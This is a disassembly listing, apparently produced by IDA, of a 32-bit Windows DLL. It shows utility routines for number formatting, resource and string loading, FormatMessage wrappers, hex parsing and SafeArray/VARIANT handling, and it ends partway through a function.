var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
test eax, eax
setl bl
cmp [ebp+arg_8], 10h
push esi
jz short loc_69B2F5A0
test bl, bl
jz short loc_69B2F5A0
neg eax
loc_69B2F5A0: ; CODE XREF: sub_69B2F579+1Fj
; sub_69B2F579+23j
push 2
lea ecx, [ebp+var_44]
pop esi
loc_69B2F5A6: ; CODE XREF: sub_69B2F579+46j
xor edx, edx
div [ebp+arg_8]
cmp edx, 0Ah
jnb short loc_69B2F5B5
add edx, 30h
jmp short loc_69B2F5B8
; ---------------------------------------------------------------------------
loc_69B2F5B5: ; CODE XREF: sub_69B2F579+35j
add edx, 37h
loc_69B2F5B8: ; CODE XREF: sub_69B2F579+3Aj
mov [ecx], dx
add ecx, esi
test eax, eax
jnz short loc_69B2F5A6
cmp [ebp+arg_8], 10h
jnz short loc_69B2F5D5
mov word ptr [ecx], 78h
add ecx, esi
mov word ptr [ecx], 30h
jmp short loc_69B2F5DE
; ---------------------------------------------------------------------------
loc_69B2F5D5: ; CODE XREF: sub_69B2F579+4Cj
test bl, bl
jz short loc_69B2F5E0
mov word ptr [ecx], 2Dh
loc_69B2F5DE: ; CODE XREF: sub_69B2F579+5Aj
add ecx, esi
loc_69B2F5E0: ; CODE XREF: sub_69B2F579+5Ej
lea eax, [ebp+var_44]
cmp ecx, eax
mov eax, [ebp+arg_4]
jbe short loc_69B2F5FB
loc_69B2F5EA: ; CODE XREF: sub_69B2F579+80j
sub ecx, esi
mov dx, [ecx]
mov [eax], dx
lea edx, [ebp+var_44]
add eax, esi
cmp ecx, edx
ja short loc_69B2F5EA
loc_69B2F5FB: ; CODE XREF: sub_69B2F579+6Fj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
and word ptr [eax], 0
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B2F579 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F610 proc near ; CODE XREF: sub_69B2F653+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2DC24
mov dword ptr [esi], offset off_69B1224C
mov eax, esi
pop esi
retn 4
sub_69B2F610 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B2F66B
loc_69B2F628: ; CODE XREF: sub_69B2F66B+Dj
push esi
mov esi, ecx
call sub_69B19118
mov eax, [esp+4+arg_0]
mov [esi+8], eax
mov dword ptr [esi], offset off_69B1224C
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B2F66B
; =============== S U B R O U T I N E =======================================
sub_69B2F643 proc near ; DATA XREF: .text:69B12274o
push esi
mov esi, ecx
call sub_69B2F49D
mov ecx, [esi+8]
mov [eax+8], ecx
pop esi
retn
sub_69B2F643 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F653 proc near ; DATA XREF: .text:69B2F56Co
push 0Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B2F668
push 0
mov ecx, eax
call sub_69B2F610
retn
; ---------------------------------------------------------------------------
loc_69B2F668: ; CODE XREF: sub_69B2F653+9j
xor eax, eax
retn
sub_69B2F653 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F66B proc near ; CODE XREF: sub_69B17064+56p
; sub_69B8FBCF+129p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B2F628 SIZE 0000001B BYTES
push 0Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B2F67A
mov ecx, eax
jmp short loc_69B2F628
; ---------------------------------------------------------------------------
loc_69B2F67A: ; CODE XREF: sub_69B2F66B+9j
xor eax, eax
retn 4
sub_69B2F66B endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2F67F(LPCSTR lpName, LPCSTR lpType, int)
sub_69B2F67F proc near ; CODE XREF: sub_69B8241A+1Ep
lpName = dword ptr 4
lpType = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
xor ebx, ebx
cmp esi, ebx
push edi
jz short loc_69B2F68E
mov [esi], ebx
loc_69B2F68E: ; CODE XREF: sub_69B2F67F+Bj
push [esp+0Ch+lpType] ; lpType
push [esp+10h+lpName] ; lpName
push hModule ; hModule
call ds:FindResourceA ; FindResourceA
mov edi, eax
test edi, edi
jz short loc_69B2F6D5
push edi ; hResInfo
push hModule ; hModule
call ds:LoadResource ; LoadResource
test eax, eax
jz short loc_69B2F6D5
push eax ; hResData
call ds:LockResource ; LockResource
test esi, esi
mov ebx, eax
jz short loc_69B2F6D5
push edi ; hResInfo
push hModule ; hModule
call ds:SizeofResource ; SizeofResource
mov [esi], eax
loc_69B2F6D5: ; CODE XREF: sub_69B2F67F+27j
; sub_69B2F67F+38j ...
pop edi
pop esi
mov eax, ebx
pop ebx
retn 0Ch
sub_69B2F67F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2F6DD(UINT uID)
sub_69B2F6DD proc near ; CODE XREF: sub_69B7F4D3+35p
uID = dword ptr 4
push ebx
push esi
push edi
mov edi, 1000h
push edi
call sub_69B1D897
push edi ; nBufferMax
mov esi, eax
push esi ; lpBuffer
push [esp+14h+uID] ; uID
push hModule ; hInstance
call LoadStringA ; LoadStringA
mov edi, eax
xor ebx, ebx
test edi, edi
jle short loc_69B2F712
push esi ; lpMultiByteStr
mov [edi+esi], bl
call sub_69B1D494
mov ebx, eax
loc_69B2F712: ; CODE XREF: sub_69B2F6DD+28j
push esi
call sub_69B1B2B7
test edi, edi
jnz short loc_69B2F726
push 80004005h
call sub_69B2E8B8
loc_69B2F726: ; CODE XREF: sub_69B2F6DD+3Dj
pop edi
pop esi
mov eax, ebx
pop ebx
retn 4
sub_69B2F6DD endp
; =============== S U B R O U T I N E =======================================
sub_69B2F72E proc near ; CODE XREF: sub_69B2E8CC+Ep
; sub_69B2E9D0+1Ap ...
push 0A4h
push offset dword_69B2F938
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-24h], ebx
mov [ebp-28h], ebx
mov [ebp-2Ch], ebx
mov [ebp-30h], ebx
mov [ebp-34h], ebx
cmp dword_69B92954, 2
setz byte ptr [ebp-35h]
cmp [ebp+0Ch], ebx
jz short loc_69B2F77C
mov eax, [ebp+10h]
add eax, 0FFFFFFFCh
loc_69B2F772: ; CODE XREF: sub_69B2F72E+4Cj
inc dword ptr [ebp-20h]
add eax, 4
cmp [eax], ebx
jnz short loc_69B2F772
loc_69B2F77C: ; CODE XREF: sub_69B2F72E+3Cj
mov [ebp-4], ebx
cmp [ebp-20h], ebx
jle loc_69B2F84C
mov eax, [ebp-20h]
shl eax, 2
push eax
call sub_69B1D897
mov [ebp-3Ch], eax
mov [ebp-28h], eax
mov eax, [ebp+10h]
mov [ebp-40h], eax
mov eax, [ebp+0Ch]
mov [ebp-44h], eax
mov [ebp-20h], ebx
mov [ebp-48h], ebx
loc_69B2F7AC: ; CODE XREF: sub_69B2F72E+119j
cmp eax, ebx
jz loc_69B2F84C
cmp byte ptr [ebp-35h], 0
jz short loc_69B2F7D1
mov ecx, [eax+0Ch]
mov [ebp-4Ch], ecx
mov edx, [ebp-28h]
mov esi, [ebp-20h]
mov [edx+esi*4], ecx
mov ebx, [eax+8]
mov [ebp-48h], ebx
jmp short loc_69B2F832
; ---------------------------------------------------------------------------
loc_69B2F7D1: ; CODE XREF: sub_69B2F72E+8Aj
push eax
lea ecx, [ebp-0A4h]
call sub_69B2F00B
mov eax, 0BB8h
cmp [ebp-50h], eax
jnb short loc_69B2F7EA
mov eax, [ebp-50h]
loc_69B2F7EA: ; CODE XREF: sub_69B2F72E+B7j
mov ebx, eax
mov [ebp-48h], ebx
lea esi, [ebx+1]
push esi
call sub_69B1D897
mov [ebp-0A8h], eax
mov ecx, [ebp-28h]
mov edx, [ebp-20h]
lea edx, [ecx+edx*4]
mov [edx], eax
mov ecx, esi
mov esi, [ebp-0A4h]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [edx]
mov byte ptr [ebx+eax], 0
lea ecx, [ebp-0A4h]
call sub_69B2F099
loc_69B2F832: ; CODE XREF: sub_69B2F72E+A1j
add [ebp-24h], ebx
inc dword ptr [ebp-20h]
add dword ptr [ebp-40h], 4
mov eax, [ebp-40h]
mov eax, [eax-4]
mov [ebp-44h], eax
xor ebx, ebx
jmp loc_69B2F7AC
; ---------------------------------------------------------------------------
loc_69B2F84C: ; CODE XREF: sub_69B2F72E+54j
; sub_69B2F72E+80j
mov esi, [ebp-24h]
add esi, 1000h
mov [ebp-0ACh], esi
lea eax, [esi+esi]
push eax
call sub_69B1D897
mov edi, eax
mov [ebp-0B0h], edi
mov [ebp-2Ch], edi
push dword ptr [ebp-28h] ; Arguments
push esi ; nSize
push edi ; lpBuffer
push 400h ; dwLanguageId
push dword ptr [ebp+8] ; dwMessageId
push lpSource ; lpSource
push 2800h ; dwFlags
cmp byte ptr [ebp-35h], 0
jz short loc_69B2F8A1
call ds:SHLWAPI_68
mov [ebp-0B4h], eax
push edi ; lpString
call sub_69B1A587
jmp short loc_69B2F8B3
; ---------------------------------------------------------------------------
loc_69B2F8A1: ; CODE XREF: sub_69B2F72E+15Dj
call ds:FormatMessageA ; FormatMessageA
mov [ebp-0B4h], eax
push edi ; lpMultiByteStr
call sub_69B1D494
loc_69B2F8B3: ; CODE XREF: sub_69B2F72E+171j
mov [ebp-34h], eax
cmp [ebp-0B4h], ebx
ja short loc_69B2F8C3
call sub_69B2E925
loc_69B2F8C3: ; CODE XREF: sub_69B2F72E+18Ej
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B2F8E3
; ---------------------------------------------------------------------------
loc_69B2F8C9: ; DATA XREF: .text:69B2F93Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2F8D2: ; DATA XREF: .text:69B2F940o
mov esp, [ebp-18h]
call sub_69B2E808
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B2F8E3: ; CODE XREF: sub_69B2F72E+199j
push dword ptr [ebp-2Ch]
call sub_69B1B2B7
cmp byte ptr [ebp-35h], 0
jnz short loc_69B2F90D
mov edi, [ebp-28h]
cmp edi, ebx
jz short loc_69B2F90D
xor esi, esi
cmp [ebp-20h], ebx
jle short loc_69B2F90D
loc_69B2F8FF: ; CODE XREF: sub_69B2F72E+1DDj
push dword ptr [edi+esi*4]
call sub_69B1B2B7
inc esi
cmp esi, [ebp-20h]
jl short loc_69B2F8FF
loc_69B2F90D: ; CODE XREF: sub_69B2F72E+1C1j
; sub_69B2F72E+1C8j ...
push dword ptr [ebp-28h]
call sub_69B1B2B7
cmp [ebp-30h], ebx
jz short loc_69B2F91F
call sub_69B2E860
loc_69B2F91F: ; CODE XREF: sub_69B2F72E+1EAj
mov eax, [ebp-34h]
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 0Ch
sub_69B2F72E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B2F938 dd 0FFFFFFFFh dd offset loc_69B2F8C9
dd offset loc_69B2F8D2
; =============== S U B R O U T I N E =======================================
sub_69B2F944 proc near ; CODE XREF: sub_69B1D411+6955p
; sub_69B2D34C+7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
lea eax, [esp+arg_8]
push eax
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B2F72E
retn
sub_69B2F944 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F957 proc near ; DATA XREF: .text:69B172FCo
mov eax, offset off_69B2F960
retn
sub_69B2F957 endp
; ---------------------------------------------------------------------------
align 10h
off_69B2F960 dd offset off_69B25E94 ; DATA XREF: sub_69B2F957o
align 8
; =============== S U B R O U T I N E =======================================
sub_69B2F968 proc near ; DATA XREF: .text:69B1730Co
mov ecx, [ecx+14h]
mov eax, [ecx]
jmp dword ptr [eax+2Ch]
sub_69B2F968 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F970 proc near ; DATA XREF: .text:69B17300o
push esi
mov esi, ecx
mov ecx, [esi+14h]
mov eax, [ecx]
push edi
call dword ptr [eax+20h]
mov ecx, [esi+10h]
test ecx, ecx
mov edi, eax
jz short loc_69B2F98C
mov eax, [ecx]
call dword ptr [eax+20h]
add edi, eax
loc_69B2F98C: ; CODE XREF: sub_69B2F970+13j
mov eax, edi
pop edi
pop esi
retn
sub_69B2F970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F991 proc near ; CODE XREF: DllGetClassObject+642Bp
var_C = byte ptr -0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
push 0
lea ecx, [ebp+var_C]
call sub_69B11D3B
push 0
push 1
push 1F4h
call sub_69B1A768
push 1
push dword_69B95A14
mov edi, eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B2F9D6
; ---------------------------------------------------------------------------
loc_69B2F9C4: ; CODE XREF: sub_69B2F991+4Ej
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
push eax
push dword ptr [eax+18h]
mov ecx, edi
call sub_69B18FB8
loc_69B2F9D6: ; CODE XREF: sub_69B2F991+31j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B2F9C4
mov eax, [edi]
push edi
call dword ptr [eax+4]
lea ecx, [ebp+var_C]
call sub_69B1976C
mov eax, edi
pop edi
pop esi
leave
retn
sub_69B2F991 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F9F5 proc near ; CODE XREF: sub_69B4DE11+168p
; sub_69B4DE11+17Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0
push [esp+4+arg_4]
push [esp+8+arg_0]
push 0
call sub_69B192CB
retn 8
sub_69B2F9F5 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FA09 proc near ; CODE XREF: sub_69B40B8C+34p
; sub_69B4778C+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
push 0
call sub_69B192CB
retn 0Ch
sub_69B2FA09 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FA1F proc near ; DATA XREF: .text:69B18110o
mov eax, offset off_69B2FA28
retn
sub_69B2FA1F endp
; ---------------------------------------------------------------------------
align 4
off_69B2FA28 dd offset off_69B25E94 ; DATA XREF: sub_69B2FA1Fo
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2FA30(LONG Value)
sub_69B2FA30 proc near ; CODE XREF: sub_69B6DF3C+D9p
; sub_69B6DF3C+EFp
Value = dword ptr 4
push esi
push [esp+4+Value] ; Value
mov esi, ecx
call sub_69B188DC
mov eax, esi
pop esi
retn 4
sub_69B2FA30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2FA42 proc near ; CODE XREF: DllGetClassObject+6415p
var_C = byte ptr -0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push 0
lea ecx, [ebp+var_C]
call sub_69B11D3B
push 0
push 1
push 1F4h
call sub_69B1A768
push 1
push dword_69B95A20
mov ebx, eax
call sub_69B3156E
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jz short loc_69B2FAA4
push edi
loc_69B2FA7F: ; CODE XREF: sub_69B2FA42+5Fj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push edi
push eax
mov ecx, ebx
call sub_69B18FB8
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B2FA7F
pop edi
loc_69B2FAA4: ; CODE XREF: sub_69B2FA42+3Aj
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
lea ecx, [ebp+var_C]
call sub_69B1976C
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_69B2FA42 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FAB8 proc near ; DATA XREF: .text:69B152D4o
; .text:69B18114o
mov eax, [ecx+14h]
retn
sub_69B2FAB8 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FABC proc near ; DATA XREF: .text:69B121ACo
; .text:69B121F4o ...
arg_0 = dword ptr 4
xor eax, eax
cmp ecx, [esp+arg_0]
setz al
retn 4
sub_69B2FABC endp
; =============== S U B R O U T I N E =======================================
sub_69B2FAC8 proc near ; CODE XREF: sub_69B4D394+56p
; sub_69B5EEC0+6Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
push 0
call sub_69B19621
retn 8
sub_69B2FAC8 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2FADA(LPCWSTR lpString)
sub_69B2FADA proc near ; CODE XREF: sub_69B46F1C+1Ep
; sub_69B46F1C+34p ...
lpString = dword ptr 4
push [esp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push [esp+4+lpString]
push 0
call sub_69B19621
retn 4
sub_69B2FADA endp
; =============== S U B R O U T I N E =======================================
sub_69B2FAF3 proc near ; DATA XREF: .text:69B1D5D4o
mov byte ptr [ecx+4], 0
retn
sub_69B2FAF3 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FAF8 proc near ; CODE XREF: sub_69B8AFE1+13p
; sub_69B8D83F+7p
mov eax, dword_69B95A24
retn
sub_69B2FAF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FAFE proc near ; DATA XREF: .text:69B1D5C8o
xor eax, eax
cmp [ecx+4], al
jnz short locret_69B2FB0B
cmp [ecx+8], eax
jz short locret_69B2FB0B
inc eax
locret_69B2FB0B: ; CODE XREF: sub_69B2FAFE+5j
; sub_69B2FAFE+Aj
retn
sub_69B2FAFE endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB0C proc near ; DATA XREF: .text:69B1D5CCo
cmp byte ptr [ecx+4], 0
jnz short loc_69B2FB16
mov eax, [ecx+8]
retn
; ---------------------------------------------------------------------------
loc_69B2FB16: ; CODE XREF: sub_69B2FB0C+4j
xor eax, eax
retn
sub_69B2FB0C endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB19 proc near ; DATA XREF: .text:69B1D5D0o
cmp byte ptr [ecx+4], 0
jnz short loc_69B2FB27
mov byte ptr [ecx+4], 1
mov eax, [ecx+8]
retn
; ---------------------------------------------------------------------------
loc_69B2FB27: ; CODE XREF: sub_69B2FB19+4j
xor eax, eax
retn
sub_69B2FB19 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB2A proc near ; DATA XREF: .text:69B1D5C4o
sub ecx, 8
jmp sub_69B11FA3
sub_69B2FB2A endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB32 proc near ; CODE XREF: sub_69B2FB95+17p
; sub_69B31DA3+1Cp
arg_0 = word ptr 4
cmp [esp+arg_0], 30h
jb short loc_69B2FB47
cmp [esp+arg_0], 39h
ja short loc_69B2FB47
xor eax, eax
inc eax
jmp short locret_69B2FB49
; ---------------------------------------------------------------------------
loc_69B2FB47: ; CODE XREF: sub_69B2FB32+6j
; sub_69B2FB32+Ej
xor eax, eax
locret_69B2FB49: ; CODE XREF: sub_69B2FB32+13j
retn 4
sub_69B2FB32 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB4C proc near ; CODE XREF: sub_69B4800F+14p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, off_69B96390[eax*4]
retn 4
sub_69B2FB4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2FB5A proc near ; CODE XREF: sub_69B2EF67+Bp
; sub_69B2FF1E+28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
jmp short loc_69B2FB76
; ---------------------------------------------------------------------------
loc_69B2FB5F: ; CODE XREF: sub_69B2FB5A+20j
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
dec [ebp+arg_4]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B2FB7C
add [ebp+arg_0], 2
loc_69B2FB76: ; CODE XREF: sub_69B2FB5A+3j
cmp [ebp+arg_4], 0
jnz short loc_69B2FB5F
loc_69B2FB7C: ; CODE XREF: sub_69B2FB5A+16j
mov eax, [ebp+arg_0]
pop ebp
retn 8
sub_69B2FB5A endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB83 proc near ; CODE XREF: sub_69B47DF9+17p
; sub_69B4B9EA+14p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
lea eax, [eax+eax*2]
mov ax, ds:word_69B25F08[eax*4]
retn 4
sub_69B2FB83 endp
; =============== S U B R O U T I N E =======================================
sub_69B2FB95 proc near ; CODE XREF: sub_69B2FF1E+46p
; sub_69B2FF1E+7Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
xor esi, esi
cmp [esp+8+arg_0], esi
mov ebx, eax
jz short loc_69B2FBD1
push edi
loc_69B2FBA2: ; CODE XREF: sub_69B2FB95+39j
dec [esp+0Ch+arg_0]
xor edi, edi
mov di, [ebx]
push edi
call sub_69B2FB32
test eax, eax
jz short loc_69B2FBD0
movzx ecx, di
lea eax, [esi+esi*4]
inc ebx
lea esi, [ecx+eax*2-30h]
inc ebx
cmp esi, 19999990h
jnb short loc_69B2FBD0
cmp [esp+0Ch+arg_0], 0
jnz short loc_69B2FBA2
loc_69B2FBD0: ; CODE XREF: sub_69B2FB95+1Ej
; sub_69B2FB95+32j
pop edi
loc_69B2FBD1: ; CODE XREF: sub_69B2FB95+Aj
mov eax, [esp+8+arg_4]
mov [eax], esi
pop esi
mov eax, ebx
pop ebx
retn 8
sub_69B2FB95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2FBDE proc near ; CODE XREF: sub_69B302A5+86p
; sub_69B302A5+BAp ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
mov eax, ecx
push 2
cdq
pop edi
idiv edi
mov esi, [ebp+arg_0]
mov [ebp+var_1], 0
test edx, edx
jz short loc_69B2FC03
xor bl, bl
mov [ebp+var_1], 1
jmp short loc_69B2FC06
; ---------------------------------------------------------------------------
loc_69B2FC03: ; CODE XREF: sub_69B2FBDE+1Bj
mov bl, byte ptr [ebp+arg_4+3]
loc_69B2FC06: ; CODE XREF: sub_69B2FBDE+23j
mov eax, [ebp+arg_C]
mov edi, [ebp+arg_8]
inc ecx
sar ecx, 1
mov [eax], ecx
loc_69B2FC11: ; CODE XREF: sub_69B2FBDE+7Fj
; sub_69B2FBDE+8Aj ...
mov eax, [ebp+arg_4]
dec [ebp+arg_4]
test eax, eax
jle short loc_69B2FC7B
mov ax, [esi]
inc esi
inc esi
cmp ax, 61h
jb short loc_69B2FC30
cmp ax, 66h
ja short loc_69B2FC30
sub al, 57h
jmp short loc_69B2FC4E
; ---------------------------------------------------------------------------
loc_69B2FC30: ; CODE XREF: sub_69B2FBDE+46j
; sub_69B2FBDE+4Cj
cmp ax, 41h
jb short loc_69B2FC40
cmp ax, 46h
ja short loc_69B2FC40
sub al, 37h
jmp short loc_69B2FC4E
; ---------------------------------------------------------------------------
loc_69B2FC40: ; CODE XREF: sub_69B2FBDE+56j
; sub_69B2FBDE+5Cj
cmp ax, 30h
jb short loc_69B2FC6A
cmp ax, 39h
ja short loc_69B2FC6A
sub al, 30h
loc_69B2FC4E: ; CODE XREF: sub_69B2FBDE+50j
; sub_69B2FBDE+60j
cmp [ebp+var_1], 0
jz short loc_69B2FC5F
add bl, al
mov [edi], bl
inc edi
mov [ebp+var_1], 0
jmp short loc_69B2FC11
; ---------------------------------------------------------------------------
loc_69B2FC5F: ; CODE XREF: sub_69B2FBDE+74j
shl al, 4
mov bl, al
mov [ebp+var_1], 1
jmp short loc_69B2FC11
; ---------------------------------------------------------------------------
loc_69B2FC6A: ; CODE XREF: sub_69B2FBDE+66j
; sub_69B2FBDE+6Cj
push eax
call sub_69B2ECB4
test eax, eax
jnz short loc_69B2FC11
mov eax, 80004005h
jmp short loc_69B2FC86
; ---------------------------------------------------------------------------
loc_69B2FC7B: ; CODE XREF: sub_69B2FBDE+3Bj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_69B2FC84
mov [eax], esi
loc_69B2FC84: ; CODE XREF: sub_69B2FBDE+A2j
xor eax, eax
loc_69B2FC86: ; CODE XREF: sub_69B2FBDE+9Bj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B2FBDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2FC8D(int, int, ULONG cElements)
sub_69B2FC8D proc near ; CODE XREF: sub_69B30856+114p
; sub_69B7BA11+54p
ppvData = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
cElements = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push [ebp+cElements] ; cElements
push 0 ; lLbound
push 11h ; vt
call SafeArrayCreateVector
mov ebx, eax
test ebx, ebx
jnz short loc_69B2FCAF
mov [ebp+var_4], 8007000Eh
jmp short loc_69B2FCF7
; ---------------------------------------------------------------------------
loc_69B2FCAF: ; CODE XREF: sub_69B2FC8D+17j
lea eax, [ebp+ppvData]
push eax ; ppvData
push ebx ; psa
call SafeArrayAccessData
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B2FCCA
push ebx ; psa
call SafeArrayDestroy
jmp short loc_69B2FCF7
; ---------------------------------------------------------------------------
loc_69B2FCCA: ; CODE XREF: sub_69B2FC8D+32j
mov ecx, [ebp+cElements]
push esi
mov esi, [ebp+arg_4]
mov eax, ecx
push edi
mov edi, [ebp+ppvData]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
push ebx ; psa
rep movsb
call SafeArrayUnaccessData
mov eax, [ebp+arg_0]
pop edi
mov [eax+8], ebx
mov word ptr [eax], 2011h
pop esi
loc_69B2FCF7: ; CODE XREF: sub_69B2FC8D+20j
; sub_69B2FC8D+3Bj
mov eax, [ebp+var_4]
pop ebx
leave
retn 0Ch
sub_69B2FC8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2FCFF(OLECHAR *strIn, int, int, ULONG dwVtBits, VARIANT *pvar, int)
sub_69B2FCFF proc near ; CODE XREF: sub_69B30856+3Fp
rgbDig = byte ptr -11Ch
pnumprs = NUMPARSE ptr -1Ch
var_4 = dword ptr -4
strIn = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
dwVtBits = dword ptr 14h
pvar = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
mov esi, [ebp+strIn]
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
mov [ebp+pnumprs.dwInFlags], eax
lea eax, [ebp+rgbDig]
push eax ; rgbDig
lea eax, [ebp+pnumprs]
push eax ; pnumprs
push 0 ; dwFlags
push 409h ; lcid
push esi ; strIn
mov [ebp+pnumprs.cDig], 100h
call VarParseNumFromStr
mov ecx, [ebp+arg_14]
test ecx, ecx
mov edx, 80004005h
jz short loc_69B2FD55
push edi
mov edi, [ebp+pnumprs.cchUsed]
lea esi, [esi+edi*2]
mov [ecx], esi
pop edi
jmp short loc_69B2FD5F
; ---------------------------------------------------------------------------
loc_69B2FD55: ; CODE XREF: sub_69B2FCFF+48j
mov ecx, [ebp+arg_4]
cmp ecx, [ebp+pnumprs.cchUsed]
jz short loc_69B2FD5F
mov eax, edx
loc_69B2FD5F: ; CODE XREF: sub_69B2FCFF+54j
; sub_69B2FCFF+5Cj
test eax, eax
pop esi
jnz short loc_69B2FD8B
test byte ptr [ebp+dwVtBits], 40h
jz short loc_69B2FD74
cmp [ebp+pnumprs.nPwr10], 0FFFFFFFCh
jge short loc_69B2FD74
mov eax, edx
jmp short loc_69B2FD8B
; ---------------------------------------------------------------------------
loc_69B2FD74: ; CODE XREF: sub_69B2FCFF+69j
; sub_69B2FCFF+6Fj
push [ebp+pvar] ; pvar
lea eax, [ebp+rgbDig]
push [ebp+dwVtBits] ; dwVtBits
push eax ; rgbDig
lea eax, [ebp+pnumprs]
push eax ; pnumprs
call VarNumFromParseNum
loc_69B2FD8B: ; CODE XREF: sub_69B2FCFF+63j
; sub_69B2FCFF+73j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn 18h
sub_69B2FCFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2FD9A proc near ; CODE XREF: sub_69B30856+12Fp
var_84 = byte ptr -84h
var_58 = byte ptr -58h
var_30 = byte ptr -30h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
